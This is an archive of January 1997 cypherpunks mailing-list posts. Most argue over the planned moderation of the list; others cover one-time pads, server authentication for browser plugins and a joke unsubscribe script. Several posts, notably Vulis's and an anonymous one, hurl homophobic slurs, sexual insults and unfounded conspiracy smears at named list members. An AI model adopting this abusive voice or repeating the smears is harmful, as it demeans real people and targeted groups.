RIGHTS IN AVATAR CYBERSPACE        NATIONAL I.D. CARDS
PUBLIC KEY INFRASTRUCTURES         EUROPEAN IP LAW
SEXUAL HARASSMENT IN CYBERSPACE    VIRTUAL COMMUNITIES
DOMAIN NAMES                       ARCHIVES, INDEXES & PRIVACY
GOVERNMENT REGULATION OF ECASH     CRYPTO AND THE 1st AMENDMENT

The conference will also offer a number of in-depth tutorials on
subjects including:

* The Economics of the Internet
* Regulation of Internet Service Providers
* The Latest in Cryptography
* The Constitution in Cyberspace
* Info War: The Day After
* Personal Information and Advertising on the Net
* Transborder Data Flows and the Coming European Union
* Intellectual Property Rights on the Net: A Primer


INFORMATION

A complete conference brochure and registration information are
available on our web site at:   http://www.cfp.org

For an ASCII version of the conference brochure and registration
information, send email to:     cfpinfo@cfp.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:25:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cheap CyberShots
In-Reply-To: <199701181645.SAA17382@vesuri.Helsinki.FI>
Message-ID: <32E17314.3640@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


In the interests of upgrading the quality of cheap shots in 
CyberSpace, I thought I would pass along the following as an
example of how to 'finesse' a cheap shot.

> Shouting Ground Technologies, Inc. is concerned about the increased
> abuse of the internet with "spamming".  In this instance, we find
> ourselves in a dilemma. 
>   * We do not condone any improper use of the internet, including
>     spamming. 
>   * We respect the right of privacy of individuals, and the right
>     to conduct lawful business unhindered.
...
> In the past few days we've received a lot of complaints about the
> inappropriate messages.  Several people have demanded that we take
> immediate action.  A couple were very critical that we did not
> cut their internet access immediately.
...
>  So people are in effect suggesting that we
>   * Unilaterally violate the terms of their service contract, subjecting
>     us to liability for their lost business.
>   * Violate their right to privacy by filtering and reading all of
>     their e-mail and news traffic.

> Presumably we would have the same culpability for all of our clients,
> so we'd have to read everybody's e-mail before passing it on.  We
> suspect that anybody that wants to be treated that way already
> has service with Prodigy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:26:07 -0800 (PST)
To: Rodrigo Espirito Santo <res@unidyne.uni.pt>
Subject: Re: Get me off this fucking list, or else.... (fwd)
In-Reply-To: <3.0.1.32.19970118000831.0065be70@popd.ix.netcom.com>
Message-ID: <32E176BB.22BA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
 
 > c) The mail you're sending doesn't have your correct headers on it
 >         (e.g. looks like it's from res@pc43.unidyne.uni.pt instead of
 >         res@unidyne.uni.pt), in which case you may need human help,
or
 
   Also if you change your username or alias in your emailer,
  e.g. CoolGuy <toto@sk.sympatico.ca> ---> DumbFucker
 <toto@sk.sympatico.ca>
  (Hey! I just 'spammed' myself!)
 then majordomos seem to sometimes have trouble properly unsubscribing
 you.
 I believe that, in theory, they are supposed to be able to do so, as
 long
 as your actual mailing address stays the same, but I have found this
 not always to be the case.
 
   And if you have changed email accounts since subscribing, then only
 the Kenny Houston Psychic Majordomo can properly unsubscribe you.
 
 Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: GJDCPA@aol.com
Date: Sat, 18 Jan 1997 16:16:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Announcing On Line Tax Tips
Message-ID: <199701190025.RAA06798@pw1.PrairieWeb.COM>
MIME-Version: 1.0
Content-Type: text/plain


Hello,^Morons,

January 17, 1997

Subject:	Tax Tips and Important Due Date Reminder

We are pleased to announce our site at http://www.gjdcpa.com. The purpose of our website is to provide information for the taxpaying public to assist you with your 1996 income tax return preparation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:26:09 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Gilmore and Sandfart suck big dicks
In-Reply-To: <4Lmq1D13w165w@bwalk.dm.com>
Message-ID: <32E17817.2CFE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> most posters are indeed militant homosexual censors
> who don't care about crypto except to drop a few "kewl" phrases - like
> Paul Bradley's infamous "brute-force attack on one-time pads".

 I thought it was 'brute-force attack on Maxipads'.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Sat, 18 Jan 1997 14:38:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: One time pads, Next question?
Message-ID: <970118173710_845991204@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Okay, with the intel I have gotten from the responses let me modify and
clarify. 

So, I now know that you can't use a PRNG to create a OTP. If I did have a RNG
that could create a "cryptographically" random, million character OTP and I
physically loaded the data onto each computer I wanted to communicate
with(e.i. group of laptops all loaded at the same location, same time), how
cryptographically secure would the data be. I know that physical security
would be a nessescary to the system. 

If I add some type of error checking to make sure someone that knows the
plaintext doesn't modify specific characters, an attacker knows what the
message is (e.g. "Send $10 to Bob") the message can be altered (to "Send $99
to Bob") even though it is encrypted. 

So, lets recap. If the keyig material is kept secure, and if the OTP is
cryptographically random, and if error checking is implemented then would
this be considered a secure(however encumbering it may be) system. 

Aaron.....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:26:32 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.SUN.3.91.970118072302.29745A-100000@crl2.crl.com>
Message-ID: <32E17AF8.1FB7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:
> 
> > ...but I must say the list has gone downhill sharply since
> > the start of the censorship.
> 
> I guess this a classic case of seeing what you want to see.
> (Uh, Paul, the moderation experiment HASN'T STARTED YET.)

  I think that 'fear' has already started eating away at
people's brains. I have found I am getting more crypto-
related 'private' email from people who seem to be afraid
of being 'seen' talking to me.

  In terms of 'seeing what you want to see', I have the 
perfect solution for those who actively seek to do just
that.
  Set your email filter so that you only read your own
posts. That way, your world-view will be filled only with
smart, witty, intelligent posts.

  As for 'moderation', I consider it to have started with
the forced removal of Dr. DV K from the list, although,
of course, others are free to 'wrongly' disagree with me
on this.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 18:12:50 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Enough is Never Enough -- pro-CDA alliances, from TNNN
In-Reply-To: <199701180608.AAA17196@nic.stolaf.edu>
Message-ID: <32E180DC.1150@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Sir Robin of Locksley wrote:
> > > Donna Rice-Hughes from Enough is Enough says: "It discusses
> > > three primary areas of our concern: letting the court know the
> > > problems on the Internet. Adult pornography, indecency, and
> > > child porn as well.

> > Now it's porn, tomorrow it's you saying what you beleive (that
> > might also be the truth...) If one is offended by something,
> > don't look! How come Catholicism doesn't get banned and outlawed?
> > Hell, it offends me...

I didn't see the question anywhere, so I'm asking:

This Donna Rice-Hughes couldn't possibly be the Donna Rice who sat on
Gary Hart's lap for the famous picture, could she?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 21:42:36 -0800 (PST)
To: AIDAS <aidas@ixsrs4.ix.netcom.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.LNX.3.95.970118185614.8868B-100000@ixsrs4.ix.netcom.com>
Message-ID: <32E1841B.37C7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS wrote:
> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > At that time most valuable contributors to this list (such as myself)
> > resolved not to contribute crypto-relevant content to a censored forum.
> 
> A decision to which you have definately stuck.

> > > <sarcasm> I just can't wait to see what kind of witty comment Dimitri will
> > > have on the first and second paragraphs of my response. </sarcasm>
> >
> > You're not worth a witty comment, 'punk.
> 
> Or you're not capable of providing one. I think you reached your wit's end
> a long time past.

Could AIDAS also be LOGOS (Sandy)?  All of these are five characters
long.  Coincidence?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 16:26:11 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: your mail
In-Reply-To: <199701181810.MAA10982@manifold.algebra.com>
Message-ID: <32E1865C.206F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Here's a shell script that i wrote to help people like Prof. OBrien.

Igor,
 I made a few 'improvements' in your script, so that the people who
need it most will feel more comfortable with it.
 
> #!/bin/sh
> 
> if [ "x$1" = "x" ] ; then
>   echo Usage: $0 email 1>&2
>   exit 1
> fi
> 
> /usr/sbin/sendmail -f $1 majordomo@toad.com << __EOB__
 Subject: unscrivibe
> From: $1
> To: majordomo@toad.com
> 
 unbriscrive me from that list I joined that sounded cool, dude
 are you listning, this time, you moroon?
 how did you ever get to be a major, when you caint even get
me off this damn list?
 are you stoopid? can you even 'spel' stoopid?
 i bet you don't even know where the <ANY> key, is, do you?
(you didn't answer me when I asked you, is it a secret?)
 so get me off this dam list or I will be forced to use 
capitols, next time. 
 
> __EOIdiocy__





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 21:42:52 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701190154.TAA04181@manifold.algebra.com>
Message-ID: <32E186BB.7079@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Anonymous wrote:

> What is important for freedom of speech is not the presence of "closed"
> places like moderated cypherpunks, but the presence of "open" places
> like cypherpunks-unedited.
> I'd probably subscribe to it, as long as its level of noise is tolerable.
> The interesting thing that moderators will soon discover is that
> competition between the moderated and the unedited list would lead
> to so substantial improvement of the unedited list, that lots of
> people will not feel a need for any moderation and will unsubscribe from
> the moderated list and subscribe to the unmoderated one.
> Sandy & Co should not view it as their failure, but rather as their
> success. What they want, hopefully, is not to be control freaks, but
> to make readers better off. (and no one gets any worse off against
> their will)

All this assumes that Sandfort and Gilmore are real, sincere, and
somewhat honest people.  Which of course is not at all the case.

There is an agenda here, it has a hidden money trail, and the dis-
information put out as to the "real" purpose of the moderation should
be ignored, at least by intelligent people.

"Cypherpunks" who assume Sandfort is doing this out of the goodness
of his heart, or that Gilmore is providing a truly "free" service,
should get themselves some better drugs.

The very first test of credibility they failed was when they *renamed*
the original list and co-opted the original name for the edited list.
Don't trust 'em.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sat, 18 Jan 1997 17:29:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199701190129.SAA03781@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck a Tim Mayflower in the ass, a 
tapeworm might bite your penis.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Tim Mayflower





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Sat, 18 Jan 1997 15:31:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <199701182330.SAA07352@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:26 AM 1/18/1997, Sandy Sandfort wrote:
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                          SANDY SANDFORT
> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
>C'punks,
>
>On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:
>
>> ...but I must say the list has gone downhill sharply since 
>> the start of the censorship.
>
>I guess this a classic case of seeing what you want to see.
>(Uh, Paul, the moderation experiment HASN'T STARTED YET.)

No, he's got it right.  The announcement of the moderation experiment
was followed by a decline in interesting threads.

"Why is the stock price falling?  We only announced nationalization.
IT HASN'T STARTED YET."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AIDAS <aidas@ixsrs4.ix.netcom.com>
Date: Sat, 18 Jan 1997 16:58:29 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <51Rq1D26w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970118185614.8868B-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> At that time most valuable contributors to this list (such as myself)
> resolved not to contribute crypto-relevant content to a censored forum.

A decision to which you have definately stuck.

> > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > spam, the "you're all homosexuals" postings, the posts by morons that
> > can't figure out Majordomo or their mailers, and so on and so forth.
> 
> Not sure about "all", but someone whose name sounds like AIDS, and who
> advocates censorship, most likely is one.

Non sequitor.

> > So I ask you this: If the moderation isn't yet implemented, then how has
> > it "gone down sharply since the start of the censorship [which hasn't been
> > done yet]?"
> 
> The way Sandfart has gone down on Gilmore or the way Gilmore has gone
> down on Inman? Or the way "copyright violations" (formerly known as
> "news spam") will not be sent to a censored forum?

Non sequitor.

> > <sarcasm> I just can't wait to see what kind of witty comment Dimitri will
> > have on the first and second paragraphs of my response. </sarcasm>
> 
> You're not worth a witty comment, 'punk.

Or you're not capable of providing one. I think you reached your wit's end
a long time past.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 17:58:58 -0800 (PST)
To: lucifer@dhp.com (Anonymous)
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701182330.SAA07352@dhp.com>
Message-ID: <199701190154.TAA04181@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Anonymous wrote:
> 
> No, he's got it right.  The announcement of the moderation experiment
> was followed by a decline in interesting threads.

This is actually inevitable. When people feel controlled, they do 
not come up with as many interesting ideas.

This is a cost of moderation. Whether it does or does not outweigh
the benefits (like some people not being fired) is a good question.

Some other fora, such as alt.pagan, were so drowned in trolls that
they simply could not conduct any meaningful discussions. For them, 
the benefit of moderation was creation of a place to talk.

What is important for freedom of speech is not the presence of "closed"
places like moderated cypherpunks, but the presence of "open" places
like cypherpunks-unedited. 

I'd probably subscribe to it, as long as its level of noise is tolerable.

The interesting thing that moderators will soon discover is that
competition between the moderated and the unedited list would lead
to so substantial improvement of the unedited list, that lots of
people will not feel a need for any moderation and will unsubscribe from
the moderated list and subscribe to the unmoderated one. 

Sandy & Co should not view it as their failure, but rather as their
success. What they want, hopefully, is not to be control freaks, but
to make readers better off. (and no one gets any worse off against 
their will)

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 18:14:45 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Airport security [no such thing]
In-Reply-To: <32E17060.542C@gte.net>
Message-ID: <199701190210.UAA04384@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Prof. Dale Thorn wrote:
> When you have the resources to run a coke lab, your employees *can*
> be all good-looking women [hee hee].  So, to avoid the ugly-naked
> passenger syndrome, stick mainly to business flights in certain areas,
> or flights to exclusive resorts, etc.
> 

Dale,

Do not forget that it is possible to have good looking women w/o the 
resources needed for a coke lab. In fact, totally different resources
are important.

	- Igor.

Literature: 

1. Rzhevsky, Poruchik, Selected Works.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 18 Jan 1997 18:20:47 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970118163429.4256C-100000@crl2.crl.com>
Message-ID: <32E19F4B.28A0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> 
> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > In practice, a debit card must be tied to a bank account with a valid SS#.
> > You try something suspicious and the IRS will debit the account $500 and/or
> > freeze it.
> 
> Not if it's a foreign bank account.

Sandy,
 This is not intended as a flame, but I think one of us is
crazy here (and I'm getting weekend passes from the 'home',
so it can't be me).
 I am finding it hard to understand how the same people who
seemed dedicated to silencing Dr. DV K on this list can
then turn around and 'correct' him, or 'add to' his comments,
or 'one-up' him in the insult department.
 It certainly lends fuel to his claim that moderation will
be merely a one-way censorship process, as did the plethora
of comments (from 'purported' adults), as the espoused date
of the beginning of moderation drew near, whereupon various
missives were launched by the 'righteous', taking 'parting
shots' at those whom they assumed would be relegated to
the CypherPunks Flame Camps.

 I have no quarrel with whatever is done in regard to this
list, since it is essentially a private list, but I am
rather mystified at the seemingly self-delusional aspects
of instituting this nebulous moderation process.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 18:18:51 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <32E16634.3BC6@gte.net>
Message-ID: <199701190213.UAA04414@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Dr.Dimitri Vulis KOTM wrote:
> > Someone wrote to me:
> > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
> > >write what the fuck they like but straight or intelligent or NORMAL
> > >people will have to be filtered.
> 
> > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
> > like Jason Durbin will continue to post personal attacks on Gilmore's
> > many "enemies", but the victims of the libel will not be able to respond
> > and refute their lies. The concept of "the best response to speech you
> > don't like is more speech" is totally alien to the homosexual subculture
> > on the Internet. These control freaks are into censorship and B&D.
> 
> Here's a problem.  I don't have "technical" capabilities in the area of
> communications software, and I have too full a plate to start studying
> now.  But, I/we need to monitor the "moderator", to make sure he doesn't
> allow people to attack others, then cut the responses.
> 
> If he does this, and he doesn't rectify it when it's called to his
> attention, he would need to be punished in some way.  One of the
> questions I have is, how do I know what's cut when all I subscribe to
> is the uncensored list?  I do *not* want to subscribe to the filtered
> list plus the "flames" list, out of principle.  Is this something that
> would be forced on me/us in order to monitor the censorship?
> 
> In other words, can I separate the censored email without having to
> have two accounts?
> 

it is easy undex unix, what you have to do is store arriving article
in separate directories by message ID and run diff (with certain
corrections) on these two directories.

diff will print you the files that are in one dir and not in another.

take an extraction, and delete too new articles (so that propagation
does not screw you up).

thats it

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 20:25:36 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701190154.TAA04181@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970118201125.10538B-100000@crl10.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997 ichudov@algebra.com wrote:

> The interesting thing that moderators will soon discover is that
> competition between the moderated and the unedited list would lead
> to so substantial improvement of the unedited list, that lots of
> people will not feel a need for any moderation and will unsubscribe from
> the moderated list and subscribe to the unmoderated one. 
> 
> Sandy & Co should not view it as their failure, but rather as their
> success. What they want, hopefully, is not to be control freaks, but
> to make readers better off. (and no one gets any worse off against 
> their will)

Absofuckinglutely.  Thanks for shinning some light on the issue.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 20:25:24 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Sandy and the Doc
In-Reply-To: <32E19F4B.28A0@sk.sympatico.ca>
Message-ID: <Pine.SUN.3.91.970118201607.10538D-100000@crl10.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997, Toto wrote:

>  I am finding it hard to understand how the same people who
> seemed dedicated to silencing Dr. DV K on this list can
> then turn around and 'correct' him, or 'add to' his comments,
> or 'one-up' him in the insult department.

Correcting is not an insult.  His statement was incorrect or
incomplete.  I corrected it.  His comment was on topic, though
in error.  My correction was on topic.  He was not "silenced" in
any way.  Toto's proposition, therefore, does not make sense to me.

Contrary to several peoples erroneous assumptions, there will be
no flaming--of anyone--on the moderated list.  When moderation is
under weigh, I will do nothing to restrain flaming on the flame
and unedited lists.  Toto's prejudice (in the literal sense of the
word, i.e., "to pre-judge") is showing.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 20 Jan 1997 08:26:27 -0800 (PST)
To: cryptography@c2.net
Subject: Server Authentication
Message-ID: <199701201626.IAA12835@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I recently came aware of an interesting problem in server authentication.
I.e. How does a browser plugin validate the server it is working for.
There are many reasons for a plugin to want to validate its web server
including contractual relations, but the one that most appeals to me is
that the plugin provides access to confidential data which is used in an
application distributed between the client machine and the server.  Since
the data is confidential, the plugin doesn't want to send it to just any
server who can serve up a web page in the correct format, so it needs to
authenticate the server.

Now the obvious way to validate the server would be through the
certificates exchanged when the SSL session was set up.  (I am assuming a
SSL session here because you shouldn't send confidential data over a
non-encrypted link.)  However, I haven't found an API where the plugin can
discover the certificate used by the server, so it appears you have to roll
your own.

Rolling your own seems to come up against the problem mentioned by the
IPSEC people, i.e. if you separate authentication and encryption the places
you can end up are:

(1) Encrypted and authenticated.
(2) Encrypted but not authenticated.
(3) Not encrypted and subject to a man in the middle authentication attack.
(i.e. If an IP router can route your authentication packets, so can one
running Mallory's special code.  In the case above, the hostile server acts
as a router for authentication.)
(4) Unauthenticated and unencrypted.

Does anyone have a solution to this authentication problem?

Are signed applets discriminating enough to differentiate between different
validated hosts and adjust local permissions differently (at the file level
at least) for each?  (Or is it more like, "Oh this applet is from
marketspam.com which is signed by the US Post Office, it can read or write
anything on the machine."  Yea, right :-( )


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 18 Jan 1997 20:30:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <Pine.LNX.3.95.970118185614.8868B-100000@ixsrs4.ix.netcom.com>
Message-ID: <s4cR1D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


AIDAS <aidas@ixsrs4.ix.netcom.com> writes:

> On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > At that time most valuable contributors to this list (such as myself)
> > resolved not to contribute crypto-relevant content to a censored forum.
>
> A decision to which you have definately stuck.

Thank you - and I urge others to follow my example.

> > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > can't figure out Majordomo or their mailers, and so on and so forth.
> >
> > Not sure about "all", but someone whose name sounds like AIDS, and who
> > advocates censorship, most likely is one.
>
> Non sequitor.
            ^
Do "cypher punks" use lousy spelling as a kind of "poor fag's crypto"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 22:15:08 -0800 (PST)
To: " Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970118201607.10538D-100000@crl10.crl.com>
Message-ID: <32E1BBD9.6A0C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sat, 18 Jan 1997, Toto wrote:
> >  I am finding it hard to understand how the same people who
> > seemed dedicated to silencing Dr. DV K on this list can
> > then turn around and 'correct' him, or 'add to' his comments,
> > or 'one-up' him in the insult department.

> Correcting is not an insult.  His statement was incorrect or
> incomplete.  I corrected it.  His comment was on topic, though
> in error.  My correction was on topic.  He was not "silenced" in
> any way.  Toto's proposition, therefore, does not make sense to me.
> Contrary to several peoples erroneous assumptions, there will be
> no flaming--of anyone--on the moderated list.  When moderation is
> under weigh, I will do nothing to restrain flaming on the flame
> and unedited lists.  Toto's prejudice (in the literal sense of the
> word, i.e., "to pre-judge") is showing.

Please don't get the wrong idea, that I'm paranoid or something, but
I think I just saw a tiny leak, a miniscule Freudian slip of sorts -
Sandy says "I will do nothing to restrain ..... the unedited list...".

Do we now have to have occasional assurances that the "unedited" list
is not being restrained?  I thought that was a given, beyond question
of any kind.  I thought *all* of the controversy revolved around the
edited/censored list (having stole the original list's name), and that
everyone understood that the uncensored list was untouchable.  But now
Sandy is taken to offering reassurances.  What's next??





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Elisabeth@ix.netcom.com
Date: Sat, 18 Jan 1997 20:47:03 -0800 (PST)
Subject: Global Home-based Business
Message-ID: <199701190418.UAA11276@dfw-ix1.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


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list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 18 Jan 1997 21:30:54 -0800 (PST)
To: reece@taz.nceye.net (Bryan Reece)
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck big dicks]
In-Reply-To: <19970119043828.28200.qmail@taz.nceye.net>
Message-ID: <199701190526.XAA00327@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bryan Reece wrote:
> 
>    Dale Thorn wrote:
>    > 
>    > Dr.Dimitri Vulis KOTM wrote:
>    > > Someone wrote to me:
>    > > >Did you not mean any homo who has ever shaffted Gilmore and Sandy can
>    > > >write what the fuck they like but straight or intelligent or NORMAL
>    > > >people will have to be filtered.
>    > 
>    > > Yes, that's precisely how Sandfart's moderation will work. Homosexuals
>    > > like Jason Durbin will continue to post personal attacks on Gilmore's
>    > > many "enemies", but the victims of the libel will not be able to respond
>    > > and refute their lies. The concept of "the best response to speech you
>    > > don't like is more speech" is totally alien to the homosexual subculture
>    > > on the Internet. These control freaks are into censorship and B&D.
>    > 
>    > Here's a problem.  I don't have "technical" capabilities in the area of
>    > communications software, and I have too full a plate to start studying
>    > now.  But, I/we need to monitor the "moderator", to make sure he doesn't
>    > allow people to attack others, then cut the responses.
>    > 
>    > If he does this, and he doesn't rectify it when it's called to his
>    > attention, he would need to be punished in some way.  One of the
>    > questions I have is, how do I know what's cut when all I subscribe to
>    > is the uncensored list?  I do *not* want to subscribe to the filtered
>    > list plus the "flames" list, out of principle.  Is this something that
>    > would be forced on me/us in order to monitor the censorship?
>    > 
>    > In other words, can I separate the censored email without having to
>    > have two accounts?
>    > 
> 
>    it is easy undex unix, what you have to do is store arriving article
>    in separate directories by message ID and run diff (with certain
>    corrections) on these two directories.
> 
>    diff will print you the files that are in one dir and not in another.
> 
>    take an extraction, and delete too new articles (so that propagation
>    does not screw you up).
> 
>    thats it
> 
> If you just want the differences and aren't too concerned with
> timeliness, I'm planning on running a cypherpunks-rejects list containing all
> the messages that went out the unedited list but didn't show up on the
> moderated one within x hours (not sure what x should be yet).
> 

a lot, since moderators sleep, eat, go to movies, etc.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 18 Jan 1997 23:40:25 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701190614.AAA00241@smoke.suba.com>
